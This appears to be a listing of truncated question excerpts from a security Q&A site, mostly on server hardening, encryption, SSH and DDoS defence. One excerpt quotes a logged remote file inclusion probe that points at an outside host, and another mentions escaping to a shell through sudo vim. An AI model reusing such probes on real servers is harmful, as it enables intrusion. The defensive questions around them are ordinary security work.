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Is this accidental incident considered hacking(illegal)? [closed]

I was doing research for a college research paper and I got bored and opened up CMD. I don't really know more than the next guy about computers, so i figured id just play around. I googled the ...
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Main requirements to secure my Application in any database related features

I have an application which is hosted on a windows server on which an SQL DB exists. This server communicates with the clients and agents installed on host PCs through TCP/IP and SSL connections. I'm ...
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Web Service Security Checklist - Tracing and Debugging

I have been reading this security checklist about web service design: http://msdn.microsoft.com/en-us/library/ff648304.aspx One of the suggestions is that you should disable the following in ...
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Why should web applications use multiple gatekeepers?

I have been reading a security checklist for web application design which can be found on: http://msdn.microsoft.com/en-us/library/ff648647.aspx One of the recommendations is to "use multiple ...
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Why should I log successful log-ins to my server?

I was arguing with a friend about logs in user logins. I think that logs means a big audit source for IT audit professionals. Why should I log successful log-ins to my server? It's so important log ...
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how much of a security threat would this be?

If I set up a Domain Controller server to be accessible from the internet via Remote Desktop Connection (through port forwarding in the router), how much of a threat would that be? and if I have a ...
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Are duplicate SSH server host keys a problem?

I'm doing an assessment of a small network that is using a good bit of virtualization. They have cloned some of their linux machines after generating their SSH server host keys. So the servers all ...
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Is there any reason to allow Python fetches of my Web server's pages?

I keep seeing "python-requests/1.1.0 CPython/2.7.4 Linux/3.8.0-19-generic" requests e.g. from Amazon's servers of my website. It's kind of creepy. Who would set up an Amazon server to scan websites? ...
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What are the pros and cons of using fail2ban when using SSH key auth? [closed]

I've just bought a new dedicated server. Should I install fail2ban if I am only using SSH keys to login? What else does fail2ban protect? What are the advantages and disadvantages of fail2ban? Is ...
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Is server-side cryptography with user-only access possible for email services?

I came across the Lavabit High Scalability Writeup and got curious. Do you use any particularly cool technologies or algorithms? The way we encrypt messages before storing them is relatively ...
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What are the risks of uploading and downloading data in binary (non-encoded) format to servers and browsers?

I admit up-front that this question may be the result of unfounded paranoia. But I am concerned that uploading and downloading data in binary form opens the door to exploits that might not be ...
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Preparing for a stolen physical server

What would be the best ways to protect sensitive data stored on a server/drive that gets stolen? The confidentiality of the data is what is important, not retrieving it. Obviously, physical means are ...
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best place to store backup encryption key [closed]

I have a server on which I keep an encrypted backup of some data. The server updates the backup once a day if the data has been changed and is physically accessible to many people. Further, I would ...
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Protecting IP on a remote server

Apologies in advance if this question is a bit vague. I just joined a stock trading group. A guy set up a server for me, and it's racked in their building. I ssh into it, and run my algo remotely ...
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What are the privacy pros and cons of using a public DNS server vs. your own?

Whether I'm using a normal internet connection setup, or tunnelling it through an anonymizing VPN or through TOR, what information of mine is revealed to whatever DNS server that I choose (e.g. Google ...
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Disabling SSL v2 and weak ciphers on client PC's

Is it a requirement to also disable SSL v2 and weak ciphers on client PC's? I have seen quite a few posts for disabling them on servers, but nothing about a regular client PC, say, running Windows XP ...
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How is HTTP PUT and DELETE methods insecure, if they really are? [duplicate]

If I really need to use these methods, how do i make sure they are secure? Edit: Is there a link or source where I can see how to make sure that 'PUT' and 'DELETE' methods are not able to delete or ...
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Storing config securely in a semi trusted shared hosting environment

I'm looking for a pattern to store a config file containing sensitive information in a semi trusted hosting environment. Semi trusted in this case meaning I trust them in general, but not with this ...
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Hacker problems - They stole my backups [closed]

I am facing an issue where hackers are seeking to compromise two of my servers. They succeeded in wiping out both and stealing my backups. I had off-site backups and I am back online. Nonetheless, I ...
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Per-transfer authorization of file transfers on a per transaction basis

In my organization, users have the rights to transfer files to and from servers using SSH File Transfer protocol for a variety of reasons; e.g. application troubleshooting, BAU, etc. Although our ...
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How to encrypt data on the server?

I have some data on the server (running Linux) which needs to be encrypted (company policy). This data is being served by an application running on this machine. Now I consider a few possibilities: ...
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How does a firewall help to protect a server?

Since a potential attacker will exploit the services that are already open to public by firewall rules, how will a firewall help to protect my server from attackers?
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Spoofed DDoS mitigation / DNS amplification mitigation [duplicate]

Recently my server has been attacked multiple times, after looking at my firewall I've come to the conclusion that the IP's are spoofed. (10,000+ IP's connect at once) I'm running Win server 2012 x64 ...
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Working from many places <-> being able to restrict SSH access to server to IP range

I administer a webserver, and while I'd like to restrict the SSH access to an IP range, I wouldn't be able to do so because a) I travel a lot and b) I don't have a static IP at my homeoffice. I've ...
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Does password-protecting a server's BIOS help in securing sensitive data?

I'm running a server of which I protected the BIOS with a password. One doesn't have to enter this password before booting, but before entering the BIOS setup. I just did this from routine. However, ...
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Using 'sudo vim' to spawn a shell

I've recently read here an answer from a user about the way he hacked a server in a CTF contest. At some point in the description, he said that he did sudo vim and then spawned a shell via VIM using ...
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SSL: How to send generated client certificate from server to avoid MITM?

The question I have is simply how do I prevent a MiTM attack on a certificate once the server side creates a new one and tries to send it to a client? Does the certificate get encrypted by rsa and ...
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Server root attack?

Someone in Hungary tried something odd recently: /?_SERVER[DOCUMENT_ROOT]=http://94.199.51.7/readme.txt? This is the partial URL from my log, showing the page they went to. They gave my site's URL ...
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SSL Cert Types and Key Usage

I want to use OpenSSL to create a CSR and submit it to my CA (which uses Microsoft PKI) and receive certificates that can be used for both Server Auth and Client Auth. I'm not clear on a couple of ...
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DDoS - Impossible to stop?

Is it possible - in theory - to stop1 a DDoS attack of any size? Many people claim it's impossible to stop DDoS attacks and tell me I just shouldn't mess with the wrong people on the internet. But ...
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Custom Python Server - how to secure it?

I'm going to purchase my own dedicated server service soon and run few python server scripts on it. Firstly, let me tell you that I am total noob when it comes to internet security and was unable to ...
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Security of JVM for Server

Using type- and memory-safe languages like Java and Scala for server applications gave me the confidence of having a basic level of security (e.g. compared to C). Now with the recent wave of Oracle ...
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Windows 2003 Enterprise infected by Conficker; post-infection problems continue

I used various tools to remove Conficker, and I pretty much succeeded, but I've had recurring problems afterward. It won't update anymore (with the following error message: 0x800706B5) I tried ...
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Security on dedicated lines

Is it safe for a company not to use any encryption on customer's data when it is transferred between data centers on dedicated lines? By customer data I don't mean passowrds/credit card info. Just ...
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Is it possible to locate Tor/proxy users? Spam is getting on my nerves

I'm managing a huge forum (over 15k posts and 500 users) and lately some guy uses a VPN (probably) to spam my forums with topics such as: "GAYGAYGAYGAYGAYGAYGAY" "FRIGHT IS GAY HAHAHAHHAA" "ADMINS ...
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Implement server serial key for server software

Me and my friend want to sell game server-side software, but we want some sort of control, over use of that software. For example, we want some sort of serial key system, so only verified/paid ...
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Is it safe to use flex and bison as a protocol parser?

I started writing a a simple protocol lexer and parser for STOMP using flex and bison. Does anyone know of any security issues that might result from this? Edit: Added code. %{ /* Tokenizer for ...
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Server Certification Processes

We are considering a certification process for new internal server builds before they are allowed to be placed into production. That is, the system administration team will send the server up to the ...
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Guidelines on out-of-band server management via integrated Lights-out services (iLO, iDRAC etc.)

Several CVEs (CVE-2012-3271, CVE-2011-4158, and earlier) point out vulnerabilities in remote server administration firmware; what are the guidelines on hardening this extremely useful component of ...
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How to regain access to the server?

I have a Debian server with KVM available 24/7. It was recently broken into and its root password changed. My hosting provider has restored my access and helped me change the password. But in the ...
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Setting up a security CTF server

I'm looking for resources and information from people who have experience running hacking capture-the-flag challenges. To sum it all up in a simple one-sentence question: How do you set up a server ...
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Does naming sensitive things discreetly provide protection?

I had a job where a manager said he liked naming servers after places because if they were named descriptively e.g. "passwords database server" they become obvious targets. I sort of generalized this ...
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Updating stored, encrypted containers on a server

My scenario is this -- I want to store an encrypted container on a network server. This encrypted container should be accessible to others to download and decrypt/mount locally provided they have the ...
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Enterprise standard for securing servers.

This must be the most broad question to ask, but through the years, i've come up with my own list of things I so to secure my servers, I follow the obvious steps I could gather online such as, ...
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How to verify data from localStorage on a server

This is a cross-post from my Programmers.StackExchange post - I think this might be a better forum to ask this question. Admins - please delete either of them as you deem fit. On my mobile app, I am ...
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How to fuzz on FreeFloat FTP server using SPIKE Fuzzing?

I would to seek help on using SPIKE fuzzer to fuzz an FTP server which I am testing on Freefloat FTP server but do not have idea on how to work on. As I research and tested out many different types of ...
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Can email be encrypted before it reaches the mail server? If not, is there something that would allow something like this that's being worked on?

I was thinking about hosting my own email (own email server) instead of using Gmail. But then I realized I could never host my email on a server where I'm also hosting Wordpress. That is because I ...
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Client vs Server security for business critical application (crossplatform)

We have the option to develop a software either based on Java (but then it is only available for desktop clients using Java SE and can run maybe also as tomcat app can be multithreaded, stable, ...
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Configuration for a server [closed]

I would like to configure a server and need guidance in assembling a server. I do not wish to spend much but at the same time I do not wish to compromise on performance. The purpose for my server ...
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How to protect server uploads

I want to upload .jpg images to my Linux server so that clients can re-download the files when they want. Supposing unknowingly there is a trojan, worm or malware in my computer, will these be ...